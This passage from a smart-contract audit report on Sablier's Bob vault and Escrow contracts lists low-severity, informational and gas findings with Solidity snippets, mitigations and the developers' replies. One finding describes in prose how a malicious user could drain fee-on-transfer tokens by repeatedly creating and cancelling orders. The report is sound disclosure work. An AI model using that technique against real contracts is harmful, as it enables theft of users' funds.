Impact: User receives amount lower than the `minBuyAmount` asked.

Proof of Concept: Let's assume the following scenario:

- Alice requested 10 WETH from buyer as `minBuyAmount`.
- Bob fills the order by providing the 10 WETH exactly.
- Assuming a trading fee of 1%, Alice will receive 9 WETH in total as a result instead of the 10 WETH asked.

Recommended Mitigation: Consider modifying and moving the if condition check after application of trade fees as shown below:

```
// If the fee is non-zero, deduct the fee from both sides.
        if (currentTradeFee.unwrap() > 0) {
            ... ... ...
        }

if (amountToTransferToSeller < order.minBuyAmount) {
            revert Errors.SablierEscrow_InsufficientBuyAmount(amountToTransferToSeller,
            ↪  order.minBuyAmount);
        }
```

Sablier: In commit edc617b we updated the natspec to make more explicit the purpose of this variable as being the *"minimum amount of buy token required to fill the order"*.

Cyfrin: Verified.

7.4.9 ETH sent with adapter vault redemption is trapped in `SablierBob`

Description: `SablierBob::redeem` is declared `payable` unconditionally, but only the non-adapter path handles `msg.value`. When a user calls `redeem` on an adapter vault with `msg.value > 0` (`SablierBob.sol:290-373`), the adapter path (`SablierBob.sol:326-345`) never checks, forwards, or refunds the ETH:

```
if (address(vault.adapter) != address(0)) {
    // Adapter path: handles ERC-20 yield fee
    // msg.value is NEVER checked, forwarded, or refunded
}
else {
    // Non-adapter path: checks msg.value >= minFeeWei, forwards to comptroller
}
```

The ETH enters `SablierBob` via the `payable` function but has no code path to return to the user. It remains in the contract until someone calls `transferFeesToComptroller` (inherited from `Comptrollerable`), which sweeps the contract's entire ETH balance to the comptroller — not back to the user who sent it.

Impact: Users who mistakenly send ETH when redeeming from adapter vaults permanently lose that ETH. While `transferFeesToComptroller` can recover the ETH to the comptroller, the user who sent it has no claim to it. The likelihood is low since adapter vaults don't require ETH fees, but the `payable` modifier provides no indication that ETH is unnecessary and will be lost.

Recommended Mitigation: Revert early in the adapter path if `msg.value > 0`:

```
if (address(vault.adapter) != address(0)) {
    if (msg.value > 0) {
        revert Errors.SablierBob_UnexpectedNativeToken(vaultId);
    }
    // ... rest of adapter logic
}
```

Sablier: Fixed in commit 44b6bf1.

Cyfrin: Verified.

7.4.10 `SablierBob::enter` can be temporarily bricked for adapter vaults when STETH is paused

Description: The `SablierBob::enter` function calls the `SablierLidoAdapter::stake` function.

```
if (address(vault.adapter) != address(0)) {
            // Interaction: Transfer token from caller to the adapter.
            vault.token.safeTransferFrom(msg.sender, address(vault.adapter), amount);

            // Interaction: stake the tokens via the adapter.
            vault.adapter.stake(vaultId, msg.sender, amount);
```

In case of the `SablierLidoAdapter`, the function calls `STETH::submit` that reverts when either staking is paused or the staking limit is exceeded. In such a case, users cannot enter vaults utilizing this adapter.

```
        require(!stakeLimitData.isStakingPaused(), "STAKING_PAUSED");

        if (stakeLimitData.isStakingLimitSet()) {
            uint256 currentStakeLimit = stakeLimitData.calculateCurrentStakeLimit();
            require(_amount <= currentStakeLimit, "STAKE_LIMIT");
```

A similar instance exists for the withdrawal flow. The `SablierLidoAdapter::_wstETHToWeth` function performs an unwrap on the `wstETH` contract, which transfers `stETH` to the adapter. Since `stETH` transfers can be paused, this would prevent users from exiting within the grace period or redeeming when the vault has settled or expired.

```
function _transferShares(address _sender, address _recipient, uint256 _sharesAmount) internal {
        require(_sender != address(0), "TRANSFER_FROM_ZERO_ADDR");
        require(_recipient != address(0), "TRANSFER_TO_ZERO_ADDR");
        require(_recipient != address(this), "TRANSFER_TO_STETH_CONTRACT");
        _whenNotStopped();
```

Recommended Mitigation: Consider notifying users on the user interface about such temporary vault entry restrictions. In case of a prolonged restriction, it is recommended to update the default adapter for the token to `address(0)`. This would allow users to utilize the Bob protocol without involving adapters for yield generation.

Sablier: Acknowledged; we will notify users in the UI.

7.5 Informational

7.5.1 Use read-then-increment in one line

Description: Use read-then-increment in one line:

- `SablierEscrow::createOrder`

```
-       orderId = nextOrderId;
-       unchecked {
-           nextOrderId = orderId + 1;
-       }
+       unchecked { orderId = nextOrderId++; }
```

- `SablierBob::createVault`

```
-       vaultId = nextVaultId;
-       unchecked {
-           nextVaultId = vaultId + 1;
-       }
+       unchecked { vaultId = nextVaultId++; }
```

Sablier: Acknowledged.

7.5.2 Missing or inadequate Chainlink Oracle checks in `SablierBob.sol`

Description: The client's audit onboarding docs indicate that the protocol is intended to be deployed onto L2s and to work with Chainlink Oracles and also non-Chainlink Oracles with a Chainlink-compatible interace.

`SablierBob.sol` uses the `SafeOracle` library however this library omits certain checks as it is designed to not be exclusive to Chainlink Oracles. `SablierBob.sol` does not implement these additional checks, hence it is missing or has inadequate chainlink oracle checks:

- no checks for stale prices
- protocol intends to deploy on L2s explicitly Arbitrum & Base but has no checks for L2 sequencer downtime - when implementing this also revert if `startedAt == 0`
- no enforcement that returned chainlink price is inside the aggregator's min/max price - though according to the latest Chainlink docs the on-chain functions for fetching these are deprecated so consider being able to set them manually

Sablier: Acknowledged; while we agree it's a best practice (and we do have these checks in the Comptroller where no fee is charged if price isn't updated in 24 hours), adding a staleness check to Bob vaults doesn't benefit users. Consider:

Case 1: Revet if stale - If the oracle becomes stale and never recovers, users can't withdraw funds until the end time, even if the target price is reached.

Case 2: Return 0 if stale - same issue as above.

These checks could trap user funds, frustrating those who trust the vault to respect the target price. The only scenario impacted is if the oracle goes stale after hitting the target price → allowing withdrawals even though market price has gone below the target price, but this we believe is acceptable. This benefits users rather than restricting them.

7.5.3 In Solidity don't initialize to default values

Description: In Solidity don't initialize to default values:

```
SablierBob.sol
463:        for (uint256 i = 0; i < length; ++i) {
```

Sablier: Acknowledged; we prefer initializing to default values in for loop.

7.5.4 Remove or resolve TODO

Description: Remove or resolve TODO:

```
SablierBob.sol
330:                // TODO: transfer entire fee to comptroller admin instead of transferring when user
↪  redeems.
```

Sablier: Fixed in commit 7928553.

Cyfrin: Verified.

7.5.5 Attacker can permanently lock or drain fee-on-transfer tokens from `SablierEscrow`

Description: The `SablierEscrow` is a contract that enables peer-to-peer trading between users to swap ERC-20 tokens with each other. The contract allows users to create, cancel and fill orders anytime. When creating orders, the contract does not handle the case where the `sellToken` is a fee-on-transfer token.

This leads to a case where the `_orders` mapping stores an inflated `sellAmount` than the actual `sellToken` amount received by the contract in the subsequent transfer.

```
        // Effect: create the order.
        _orders[orderId] = Escrow.Order({
            seller: msg.sender,
            buyer: buyer,
            sellToken: sellToken,
            buyToken: buyToken,
            sellAmount: sellAmount,
            minBuyAmount: minBuyAmount,
            expiryTime: expiryTime,
            wasCanceled: false,
            wasFilled: false
        });

        // Interaction: transfer sell tokens from caller to this contract.
        sellToken.safeTransferFrom(msg.sender, address(this), sellAmount);
```

When cancelling or filling the order using functions `SablierEscrow::cancelOrder` and `SablierEscrow::fillOrder`, it would transfer out the stored inflated `sellAmount` from the `_orders` mapping. If existing orders for the same token exist, the inflated amount will tap into the balance of these other orders. If no other order exists, the tokens remain permanently locked in the contract.

Impact: All fee-on-transfer tokens can be drained or remain permanently locked in the contract.

The issue is rated as Informational-severity since fee on transfer tokens are explicitly not supported per the "Protocol Risks" section of the documentation which states:

`Should we evaluate risks due to fee-on-transfer tokens? | No`

However since tokens such as USDT (which includes a fee-activation switch) and stETH (which has the 1-2 wei corner case on transfers as per the Lido documentation) are in-scope, we considered to report this finding.

Proof of Concept: Let's take a simple scenario to understand the issue:

- Assume token A is a fee-on-transfer token with 2% fee.
- Alice places an order to sell token A with `sellAmount` passed as 10e18. The contract stores `sellAmount` as 10e18 however the escrow only holds 8e18 tokens.
- Malicious Bob creates an order to sell token A with similar parameters. The contract now holds a balance of 8e18 + 8e18 = 16e18 tokens.
- Bob cancels his order and receives 10e18 from the contract, leaving 6e18 tokens in the escrow.
- Bob continues this process until all tokens have been drained from the contract.

- Alice still has an open order but the order can neither be filled nor cancelled at this point.

Recommended Mitigation: Consider checking the balance of the `sellToken` before and after the transfer. Use the difference the store the final `sellAmount` received in the `_orders` mapping. Alternatively, if such tokens are not intended to be supported in the SablierEscrow, consider acknowledging this finding.

Sablier: Fee on transfer tokens are explicitly not supported; if users deposit tokens which may have fee-on-transfer enabled in the future, they do this at their own risk.

7.5.6 Add validation in `SablierBob::createOrder` to disallow same address as `buyer` and `seller`

Description: Function `SablierBob::createOrder` does not check and disallow the `buyer` from being `msg.sender` (the seller) itself.

```
function createOrder(
        IERC20 sellToken,
        uint128 sellAmount,
        IERC20 buyToken,
        uint128 minBuyAmount,
        address buyer,
        uint40 expiryTime
    )
```

Recommended Mitigation: Add validation to disallow the buyer and seller to be the same. Also consider preventing `sellToken == buyToken`.

Sablier: Acknowledged; adding the check would increase gas a bit for a typical use case. Even if buyer and seller are same, or buy and sell token are same, it does not introduce any risk or a concern. That's why we decided to not take any action.

7.5.7 Emit event `SyncPriceFromOracle` when price is synced

Description: Event `SyncPriceFromOracle` is emitted with `latestPrice` as 0 even when the price has not been synced, which can lead to inaccurate offchain event tracking.

```
// Get the latest price from the oracle with safety checks.
        (latestPrice,) = SafeOracle.safeOraclePrice(oracleAddress);

        // Effect: update the last synced price and timestamp if the latest price is greater than zero.
        if (latestPrice > 0) {
            _vaults[vaultId].lastSyncedPrice = latestPrice;
            _vaults[vaultId].lastSyncedAt = uint40(block.timestamp);
        }

        // Log the event.
        emit SyncPriceFromOracle(vaultId, oracleAddress, latestPrice, uint40(block.timestamp));
```

Recommended Mitigation: Consider emitting the event `SyncPriceFromOracle` inside the if block as follows:

```
// Get the latest price from the oracle with safety checks.
        (latestPrice,) = SafeOracle.safeOraclePrice(oracleAddress);

        // Effect: update the last synced price and timestamp if the latest price is greater than zero.
        if (latestPrice > 0) {
            _vaults[vaultId].lastSyncedPrice = latestPrice;
            _vaults[vaultId].lastSyncedAt = uint40(block.timestamp);

            // Log the event.
            emit SyncPriceFromOracle(vaultId, oracleAddress, latestPrice, uint40(block.timestamp));
        }
```

Sablier: Fixed in https://github.com/sablier-labs/lockup/pull/1420.

Cyfrin: Verified.

7.5.8 Missing getter function for `SablierBobState::isStakedInAdapter`

Description: The `SablierBobState` contract implements getter functionality for all members of the `Vault` struct for a particular `vaultId`. However it does not implement one for the `isStakedInAdapter` member.

```
struct Vault {
        // slot 0
        IERC20 token;
        uint40 expiry;
        uint40 lastSyncedAt;
        // slot 1
        IBobVaultShare shareToken;
        // slot 2
        AggregatorV3Interface oracle;
        // slot 3
        ISablierBobAdapter adapter;
        bool isStakedInAdapter;
        // slot 4
        uint128 targetPrice;
        uint128 lastSyncedPrice;
    }
```

Recommended Mitigation: Consider implementing a getter function for the `isStakedInAdapter` member.

Sablier: Fixed in commit c616091.

Cyfrin: Verified.

7.5.9 Consider adding a vault migration feature so non-adapter vault users can migrate to a vault with an adapter

Description: When a vault is created using `SablierBob::createVault`, the adapter for the `vaultId` is retrieved from the `_defaultAdapters` mapping, which can store both a zero or non-zero value. The issue is that if an adapter is added after a user has created and deposited into a vault, the user loses out on potential yield from that adapter.

For example:

- Alice creates a vault for WBTC token with an expiry 3 years from the current timestamp.
- After 1 month, the team decides to add an adapter for the WBTC token.
- Bob, Charlie and other users create another vault for the WBTC token and deposit in it to earn yield from the adapter that provides 6% returns annually.
- Alice is locked for 3 years with no interest.

This can create user dissatisfaction since multiple users could be locked for years or decades in vaults that do not generate yield currently but may in the future with adapter integrations.

Recommended Mitigation: Consider implementing functionality that allows existing non-adapter vaults to migrate and earn yield.

Sablier: Acknowledged; may be added in a future version.

7.6 Gas Optimization

7.6.1 Don't copy entire struct from `storage` to `memory` when only few fields required

Description: Don't copy entire struct from `storage` to `memory` when only few fields required:

- `SablierBobState::_statusOf`

```
-       Bob.Vault memory vault = _vaults[vaultId];
+       Bob.Vault storage vault = _vaults[vaultId];
```

- `SablierEscrowState::_statusOf`

```
    function _statusOf(uint256 orderId) internal view returns (Escrow.Status) {
        // @audit more efficient implementation
        // get storage reference
        Escrow.Order storage order = _orders[orderId];

        // 1 SLOAD
        (bool wasFilled, bool wasCanceled, uint40 expiryTime)
            = (order.wasFilled, order.wasCanceled, order.expiryTime);

        if (wasFilled) {
            return Escrow.Status.FILLED;
        }
        if (wasCanceled) {
            return Escrow.Status.CANCELLED;
        }

        // Return EXPIRED if the order has an expiry timestamp and it has expired.
        if (expiryTime != 0 && block.timestamp >= expiryTime) {
            return Escrow.Status.EXPIRED;
        }

        return Escrow.Status.OPEN;
    }
```

- `SablierEscrow::cancelOrder` - similar improvements to the previous by getting a `storage` reference then loading the first slot in 1 SLOAD
- `SablierEscrow::fillOrder` - potentially also better to use a `storage` reference then only read from storage required slots, to prevent duplicating storage reads already done inside the call to `_statusOf`
- `SablierBob::enter` - only needs `vault.adapter, vault.token, vault.shareToken`

Sablier: Fixed in commits bc5d883, 48f25c4, PR1444.

Cyfrin: Verified; the fixes aren't exactly as recommended but still more efficient than the original implementations.

7.6.2 Emit event first to optimize away previous value variables

Description: Emit event first to optimize away previous value variables, eg in `SablierEscrow::setTradeFee`:

```
-       UD60x18 previousTradeFee = tradeFee;
+       emit SetTradeFee(address(comptroller), tradeFee, newTradeFee);
        tradeFee = newTradeFee;
-       emit SetTradeFee(address(comptroller), previousTradeFee, newTradeFee);
```

Similar optimizations can be made in:

- `SablierLidoAdapter::setYieldFee`
- `SablierLidoAdapter::setSlippageTolerance`

Sablier: Acknowledged; we have the practice of emitting the events on the last line in the function.

7.6.3 Use `ReentrancyGuardTransient` for faster `nonReentrant` modifiers

Description: Use ReentrancyGuardTransient for faster `nonReentrant` modifiers:

```
SablierBob.sol
10:import { ReentrancyGuard } from "@openzeppelin/contracts/utils/ReentrancyGuard.sol";
42:    ReentrancyGuard, // 1 inherited component
```

Sablier: Acknowledged.

7.6.4 QA/Gas improvements in related Sablier contracts

Description: While technically outside the scope of this audit, we also had to read and understand other related Sablier contracts as the in-scope contracts inherit from them. Here is a collection of QA/gas findings from these contracts.

- use SafeTransferLib::safeTransferETH instead of Solidity `call` to send ETH - `Comptrollerable::transferFeesToComptroller`. Alternatively use a low-level call patterns such as:

```
```diff
-        (bool success,) = address(comptroller).call{ value: feeAmount }("");
+        bool success;
+        address feeReceiver = comptroller;
+        assembly { success := call(gas(), feeReceiver, feeAmount, 0, 0, 0, 0) }
```
```

- cache storage to prevent identical storage reads - `Comptrollerable::transferFeesToComptroller`
- cheaper not to cache `calldata` length - `Batch::batch`
- in Solidity don't initialize to default values - `Batch::batch`

Sablier: Fixed the second point in commit 0a5ed9d, acknowledging the rest.

Cyfrin: Verified.

7.6.5 Use named return variables where this can optimize away local variables

Description: Use named return variables where this can optimize away local variables:

- `SablierBob::_safeTokenSymbol`

Sablier: Fixed in commit 0c05295.

Cyfrin: Verified.

7.6.6 Revert fast by performing input related checks prior to storage reads and external calls

Description: Revert fast by performing input related checks prior to storage reads and external calls:

- `SablierBob::enter` - perform `amount` check first
- `SablierLidoAdapter::updateStakedTokenBalance` - perform `userShareBalanceBeforeTransfer` check first

Sablier: Fixed in commit 0b2ea33.

Cyfrin: Verified.

7.6.7 Cache storage to prevent identical storage reads

Description: Reading from storage is expensive; cache storage to prevent identical storage reads:

- `SablierBob::exitWithinGracePeriod, redeem` - `vault.shareToken`, potentially also `vault.adapter` if the most likely case is non-zero

- `SablierBob::redeem` - `comptroller` in the branch where no vault adapter exists if `minFeeWei` is likely to be > 0
- `SablierBob::unstakeTokensViaAdapter` - `vault.adapter`
- `SablierBob::onShareTransfer` - `_vaults[vaultId].adapter` if the most likely case is non-zero

Sablier: Fixed in commit 7d9ac86.

Cyfrin: Verified.

7.6.8 `SablierBob::_unstakeFullAmountViaAdapter` should take `vault.adapter` as input parameter

Description: `SablierBob::_unstakeFullAmountViaAdapter` should take `vault.adapter` as an input parameter since both callers already read it, so there is no point in re-reading it again from storage when the value is already known.

Sablier: Fixed in commit 7d9ac86.

Cyfrin: Verified.

7.6.9 Use `SafeTransferLib::safeTransferETH` instead of Solidity `call` to send ETH in `SablierBob::redeem`

Description: Using SafeTransferLib::safeTransferETH instead of Solidity `call` to send ETH in `SablierBob::redeem` is more gas efficient.

Alternatively use a low-level pattern without introducing any new dependencies such as:

```
-        (bool success,) = address(_comptroller).call{ value: msg.value }("");
+        bool success;
+        assembly { success := call(gas(), _comptroller, msg.value, 0, 0, 0, 0) }
```

This low-level call pattern also avoids return-bomb attacks but that isn't an issue here.

Sabler: Acknowledged.

7.6.10 `SablierLidoAdapter::unstakeFullAmount` should return `totalWstETH`

Description: `SablierBob::_unstakeFullAmountViaAdapter` always calls `SablierLidoAdapter::getTotalYieldBearingTokenBalance` then `SablierLidoAdapter::unstakeFullAmount`:

- `SablierLidoAdapter::getTotalYieldBearingTokenBalance` just reads and returns `_vaultTotalWstETH[vaultId]`
- the first thing `SablierLidoAdapter::unstakeFullAmount` does is perform an identical storage read of `_vaultTotalWstETH[vaultId]`

This is inefficient; there are two identical storage reads and one redundant external call. Simply have `SablierLidoAdapter::unstakeFullAmount` return `_vaultTotalWstETH[vaultId]`:

```
    function unstakeFullAmount(uint256 vaultId)
        external
        override
        onlySablierBob
-       returns (uint128 amountReceivedFromUnstaking)
+       returns (uint128 totalWstETH, uint128 amountReceivedFromUnstaking)
    {
        // Get total amount of wstETH in the vault.
-       uint128 totalWstETH = _vaultTotalWstETH[vaultId];
+       totalWstETH = _vaultTotalWstETH[vaultId];
```

Then change `SablierBob::_unstakeFullAmountViaAdapter` to use it:

```
    function _unstakeFullAmountViaAdapter(uint256 vaultId) private returns (uint128
    ↪  amountReceivedFromAdapter) {
        Bob.Vault storage vault = _vaults[vaultId];

-       // Get the total amount staked via the adapter.
-       uint128 amountStakedViaAdapter = vault.adapter.getTotalYieldBearingTokenBalance(vaultId);

        // Interaction: unstake all tokens via the adapter.
-       amountReceivedFromAdapter = vault.adapter.unstakeFullAmount(vaultId);
+       uint128 amountStakedViaAdapter;
+       (amountStakedViaAdapter, amountReceivedFromAdapter) = vault.adapter.unstakeFullAmount(vaultId);

        // Log the event.
        emit UnstakeFromAdapter(vaultId, vault.adapter, amountStakedViaAdapter,
        ↪  amountReceivedFromAdapter);
    }
```

Sablier: Fixed in commit d812e23.

Cyfrin: Verified.

7.6.11 Use `msg.sender` instead of accessing `comptroller` state variable to save gas

Description: Event `SetTradeFee` in `SablierEscrow` should use `msg.sender` (`CALLER` opcode = 2 gas) instead of accessing the comptroller storage variable (`SLOAD` opcode = 100 gas) to save gas. Since the function can only be called by the `comptroller`, using `msg.sender` is safe.

```
function setTradeFee(UD60x18 newTradeFee) external override onlyComptroller {

        ... ... ...

        // Log the event.
        emit SetTradeFee(address(comptroller), previousTradeFee, newTradeFee);
    }
```

Recommended Mitigation: Use `msg.sender` in the event emission instead.

Sablier: Fixed in commit c94cb23.

Cyfrin: Verified.